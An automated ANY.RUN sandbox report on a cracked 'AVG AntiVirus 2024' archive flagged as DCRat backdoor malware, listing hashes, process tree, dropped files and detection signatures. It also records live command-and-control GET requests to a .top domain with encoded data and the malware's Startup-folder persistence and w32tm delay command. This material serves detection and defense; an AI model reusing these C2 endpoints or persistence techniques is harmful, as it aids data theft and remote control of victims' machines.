File name:

AVG AntiVirus 2024 + Crack.rar

Full analysis: https://app.any.run/tasks/b2b5c7f0-160d-4347-8578-31ed523d685e
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 18, 2024, 15:12:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

47B98A4DD3FCAC88076408AF54EB8198

SHA1:

94C7C76021955499B06D2EABB7B86E2C6AD4D6CE

SHA256:

BC7E7786F49EBC770CF50F9EF519958AF348C01D81510E7566AF8B5E32F0F491

SSDEEP:

98304:85db5MXGQLHh7t/8nJBFKKfDYo1H3Vp3xrVXnFwjNoM3hmTPnDsb0AY193feECNV:uBRqRo1jZUK0H8QR9EQjcIZXZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 1432)
      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_update.exe (PID: 3216)

    • Actions looks like stealing of personal data

      • ms_updater.exe (PID: 3936)

    • DCRAT has been detected (SURICATA)

      • ms_updater.exe (PID: 3936)

    • Connects to the CnC server

      • ms_updater.exe (PID: 3936)

    • Create files in the Startup directory

      • ms_update.exe (PID: 3216)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 1432)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 1432)
      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_updater.exe (PID: 3936)

    • Executable content was dropped or overwritten

      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_update.exe (PID: 3216)

    • Reads the Internet Settings

      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_updater.exe (PID: 3936)

    • Reads settings of System Certificates

      • ms_updater.exe (PID: 3936)

    • Executing commands from a ".bat" file

      • ms_updater.exe (PID: 3936)

    • Starts CMD.EXE for commands execution

      • ms_updater.exe (PID: 3936)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 1976)

  • INFO

    • Checks supported languages

      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_update.exe (PID: 3216)
      • ms_updater.exe (PID: 3936)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 1432)

    • Creates files or folders in the user directory

      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_update.exe (PID: 3216)

    • Reads the computer name

      • AVG AntiVirus 2024 + Crack.exe (PID: 3892)
      • ms_update.exe (PID: 3216)
      • ms_updater.exe (PID: 3936)

    • Reads the machine GUID from the registry

      • ms_updater.exe (PID: 3936)
      • ms_update.exe (PID: 3216)

    • Reads Environment values

      • ms_updater.exe (PID: 3936)

    • Reads the software policy settings

      • ms_updater.exe (PID: 3936)

    • Reads product name

      • ms_updater.exe (PID: 3936)

    • Create files in a temporary directory

      • ms_updater.exe (PID: 3936)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
7
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe avg antivirus 2024 + crack.exe ms_update.exe ms_updater.exe no specs #DCRAT ms_updater.exe cmd.exe no specs w32tm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1432"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\AVG AntiVirus 2024 + Crack.rar"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
1560w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 C:\Windows\System32\w32tm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Time Service Diagnostic Tool
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\w32tm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1976C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\SzaURWjxsM.bat" "C:\Windows\System32\cmd.exe—ms_updater.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3216"C:\Users\admin\AppData\Roaming\ms_update.exe" C:\Users\admin\AppData\Roaming\ms_update.exe
AVG AntiVirus 2024 + Crack.exe
User:
admin
Company:
System32 1989-2023
Integrity Level:
MEDIUM
Description:
System32
Exit code:
0
Version:
15.6.13.6
Modules
Images
c:\users\admin\appdata\roaming\ms_update.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3660"C:\Users\admin\AppData\Roaming\ms_updater.exe" C:\Users\admin\AppData\Roaming\ms_updater.exe—AVG AntiVirus 2024 + Crack.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Version:
5.15.2.0
Modules
Images
c:\users\admin\appdata\roaming\ms_updater.exe
c:\windows\system32\ntdll.dll
3892"C:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\AVG AntiVirus 2024 + Crack.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\AVG AntiVirus 2024 + Crack.exe
WinRAR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rar$exa1432.14551\avg antivirus 2024 + crack.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3936"C:\Users\admin\AppData\Roaming\ms_updater.exe" C:\Users\admin\AppData\Roaming\ms_updater.exe
AVG AntiVirus 2024 + Crack.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\users\admin\appdata\roaming\ms_updater.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
Total events
13 171
Read events
13 095
Write events
73
Delete events
3

Modification events

(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(1432) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\AVG AntiVirus 2024 + Crack.rar
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(1432) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
7
Suspicious files
0
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3936ms_updater.exeC:\Users\admin\AppData\Local\Temp\YITcWFM1Jftext
MD5:2E96E40CA02867FADFE89EAC22546870
SHA256:26AED14871AA672B01B1ABBD088D441CBCAE72221372D39E80A364B74A99240A
1432WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\NL7Models0804.dllexecutable
MD5:65525C7B89204D241120B7638934A0D2
SHA256:18F7F52F14986133F9A9676D5AB959349377A53C0936CEA6EB9880E72F85BC54
1432WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\README.txttext
MD5:CF041446161E0D724FB4BB93EA17EE66
SHA256:7B0EBC9F3511D66177B0EB75E5EB94037562AB6F5042E0E78DF800834D362117
1432WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\NL7Data0404.dllexecutable
MD5:81B14FD1C9D2B830E55C93C4C38AFA2F
SHA256:878E2DBAC4B6A6BCCE54742F3C7BFD87AA93A6637CCCC1E5D18AB65215D81BEE
3892AVG AntiVirus 2024 + Crack.exeC:\Users\admin\AppData\Roaming\ms_updater.exeexecutable
MD5:5CEE940B52DA0E967FECB1133B6304D0
SHA256:0CBC0042EA0C1F235C35CFC40A62D29A5D794535FA164DFB57F7B90334FFE767
3892AVG AntiVirus 2024 + Crack.exeC:\Users\admin\AppData\Roaming\ms_update.exeexecutable
MD5:8597488355F310BC0046FD9F3EB87C6B
SHA256:9FA04A8D42F65ABDD06306941A8E83078BB74F70C508FB8030586759A6D408E5
3936ms_updater.exeC:\Users\admin\AppData\Local\Temp\SzaURWjxsM.battext
MD5:32618605C57E0E4720320FB9484A5410
SHA256:76AE2251E0E58698653B891BD07B49574FDA611712C85D5FCF388B1AE9A72AB2
3216ms_update.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System32.exeexecutable
MD5:8597488355F310BC0046FD9F3EB87C6B
SHA256:9FA04A8D42F65ABDD06306941A8E83078BB74F70C508FB8030586759A6D408E5
1432WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\NlsData004a.dllexecutable
MD5:BE007B645B9D1332E3346107727320D9
SHA256:7B128BE8D77398CBC3BB789A34E21AFC984C2E87276907A01326F8FB4504E9DA
1432WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1432.14551\AVG AntiVirus 2024 + Crack.exeexecutable
MD5:0023EC9ECE03188E88F5F0A73EF8175A
SHA256:6EB3E4AE1C36372A63C199081D422B4BF51CEC09B78CDE6983C33ADEEC760F73
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
7
DNS requests
2
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&4b3611644f70fc2d5fba382ed48274b0=0VfiIiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiIyQjY5MWN5ITMxUGZiFmZhZWMmVmZmRmMhFWNxQzNlJzMmVWZ4AjZhJiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
104 b
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&b198abe6c77070427ef5e91e8d5ed825=d1nI0YGO5gjMmZGMjZjYyYmNmFTYhBTOkBjZkNzNhhjYyM2Y1MWMjdzM3IiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
104 b
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&b198abe6c77070427ef5e91e8d5ed825=d1nI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W&4b3611644f70fc2d5fba382ed48274b0=0VfiIiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOisHL9JSOx4WSvkUaPlWUql1MV1WWqZ1VNpmV61kMBpnTrxGVNpmSH9UbSdkTyklMNhXTUpVeVRVTzkFVNRTWH90MnpWS3AnaJhmUYlVRShUZsp0QMFzbqlEMWNjYsFzVhVlQYpFb4JTVpdXaJxmWYFGMOdVUp9maJpnVIRGaSNTV1IFWhJDbHRmaGtWSzlUajhmSuxkcOdVW55URJJXQD5UeBpWTn1EWklHbtZFcS5mYCJUeSdlRrlkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD5UeFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiI5MWYhJzMzUGZyYGZ3ETN3YzMhN2NzI2N0YzYiVzMiJGOmNTM1kzNyIiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
104 b
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&9d68fd20db10d46579acac1fdc533db7=d1nI5oUeaVHbXJGa50WVjhnVZBjRHJ1dChVUjhHbiBXMHpFa4ZEW6pEWapnVGh1YwpXUp9maJ9mUYlVUKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUaJl2Tpd2RkhmQWJGaKNjWsh3VaVlSDxUaJl2Tp1ESjdnRVJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTSDJlSKhlW6ZlVihmVHRGVKNETp10Mi5GbtN2aG12Ymh3VaBnSulFak1WS2kUajxmTYZFdGdlWw4EbJN3dHJWM102TpNWbihGeVJGaWdEZUp0QMlGMXlFbSNzY21EWaNHbtp1ZwcVW5RmMilnQzwkNN1WS2k0QhBjRHVFdGdlWw4EbJNXSTtkdsdkWxYURJNza6pERGVUSyZ1RkNnRXp1UoNUS1xWRJxWNXFWT1cEW5hXMiBnUXRmQClnT1MWeRJkQ5FGbShkYoZVbV9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiIyQjY5MWN5ITMxUGZiFmZhZWMmVmZmRmMhFWNxQzNlJzMmVWZ4AjZhJiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
104 b
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?gHxQf79=3k&HUubsxXOpC1QLmyrbVRHRRtDFktUJq=gGaMsypHz&17789cb3578c6680ba919ed580bcbc59=c33b5fda8c587ac7ab22b49b86ea1260&024ace78b46de9dec7d33cd74bf374d2=AM5gzYmdjMklTM3QGNjJjNkdzY1QjYjFTMjhzM5YTN4UGNxgTZ3ITZ&gHxQf79=3k&HUubsxXOpC1QLmyrbVRHRRtDFktUJq=gGaMsypHz
unknown
text
2.08 Kb
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&b198abe6c77070427ef5e91e8d5ed825=d1nI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W&4b3611644f70fc2d5fba382ed48274b0=0VfiIiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOisHL9JSOx4WSvkUaPlWUql1MV1WWqZ1VNpmV61kMBpnTrxGVNpmSH9UbSdkTyklMNhXTUpVeVRVTzkFVNRTWH90MnpWS3AnaJhmUYlVRShUZsp0QMFzbqlEMWNjYsFzVhVlQYpFb4JTVpdXaJxmWYFGMOdVUp9maJpnVIRGaSNTV1IFWhJDbHRmaGtWSzlUajhmSuxkcOdVW55URJJXQD5UeBpWTn1EWklHbtZFcS5mYCJUeSdlRrlkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD5UeFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYmZ3UmM5EDN3kzM4UTZzYzN2IWO2ImMxUWMyImY2MzNiwiI5MWYhJzMzUGZyYGZ3ETN3YzMhN2NzI2N0YzYiVzMiJGOmNTM1kzNyIiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
104 b
—
3936
ms_updater.exe
GET
200
104.21.1.107:80
http://714745cm.nyashland.top/nyashsupport.php?7rutqgtsJvZN2nAotxaiV=QUa5UhY4TK13b&u719ZpkvgUiIKKVHWMSibZS=LMUOcOW8LT4w6bJqyfyFWMWN&Lyok2QVoGxNVVTR8j6=QjL5Dmu5kMX9zGqQarYTCjHzn5V&8a43ab91d2d0ada45cd5ce27b80065c2=QNxczMhhTMwADM2AzNyMDM3YjZlRmM4kjZ4AjZkRTNhZDNmFTM5gTM2MTMyMTNzkDNyQDM4YTO&024ace78b46de9dec7d33cd74bf374d2=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&b198abe6c77070427ef5e91e8d5ed825=d1nIlZDOkFTNiZGNwMTOlFjYkljM4IDNlFjN2UDMwUWOlVzYlZWOkFmYlJiOiATM2QzY4UmNkhzM5EWN0IGZ0IGNhRjN2Q2YmJzN3QTZiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiUTN0EGM4cTN2UTM3YDZklTZjhTMhVmNwYjN3ADO0gTOis3W
unknown
text
108 b
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3936
ms_updater.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
3936
ms_updater.exe
104.21.1.107:80
714745cm.nyashland.top
CLOUDFLARENET
—
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.68.143
  • 104.20.67.143
unknown
714745cm.nyashland.top
  • 104.21.1.107
  • 172.67.129.42
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
—
—
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
—
—
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
AVG AntiVirus 2024 + Crack.rar